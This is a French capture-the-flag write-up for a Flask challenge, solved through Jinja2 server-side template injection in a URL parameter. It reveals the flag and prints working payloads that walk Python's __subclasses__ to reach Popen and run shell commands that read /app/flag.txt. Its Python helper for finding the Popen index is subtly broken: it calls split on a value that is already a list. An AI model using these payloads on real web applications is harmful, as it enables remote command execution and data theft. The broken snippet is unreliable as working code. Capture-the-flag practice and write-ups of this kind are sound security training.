# Flask

**Flag:** StarHack{SSTI?NOOOOOOOOOOOO}

## Challenge

{% hint style="info" %}
**Description**

***

J'apprends Flask, ils disent que c'est facile, mais il faut bien le gérer, il y a beaucoup d'injections. Comment je m'en sors jusqu'à présent ? Y a-t-il des injections ?

Chemin du flag: /app/flag.txt

[LINK](https://web5.ctf.yogosha.com/login)
{% endhint %}

{% hint style="warning" %}
Ce challenge tourne sur un docker et n'est pas disponible
{% endhint %}

## Solution

Une fois avoir créé un compte et s'être connecté, on remarque que notre page affiche Hello, Welcome! et que dans l'url, on a **`?welcome_message=Welcome!`**.

Si on change le message, il s'affiche bien sur notre page. De là, on pense tout de suite à une SSTI Jinja2 grâce au titre du challenge.

L'objectif est de lire le fichier /app/flag.txt. Pour ça on peut s'appuyer sur [**HackTricks**](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti) qui nous donne le payload suivant pour exécuter une commande (ici, lire un fichier) :

```
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
```

Il faut juste adapter le payload pour trouver le bon index pour \_\_subclasses\_\_, pour ça on va envoyer dans un premier temps&#x20;

```
{{''.__class__.mro()[1].__subclasses__()}}
```

Maintenant, on parse le résultat en python pour trouver l'index

```python
data = "[&lt;class 'ty ... codedata.UCD'&gt;]"
data = data.replace('&gt;', '>').replace('&lt;', '<').split(', ')
print([i for i, c, in enumerate(data.split(', ')) if 'Popen' in c])
# 351
```

On trouve 351, voici le payload mis à jour :

```
{{''.__class__.mro()[1].__subclasses__()[351]('cat /app/flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
```

<figure><img src="https://2344605990-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F5vTwbgJFy6k3bN4a9ntp%2Fuploads%2FSMnfF6J1TphNq3TwTuSI%2Fimage.png?alt=media&#x26;token=6329e517-dca3-464b-a4d1-0ef1520cf570" alt=""><figcaption></figcaption></figure>
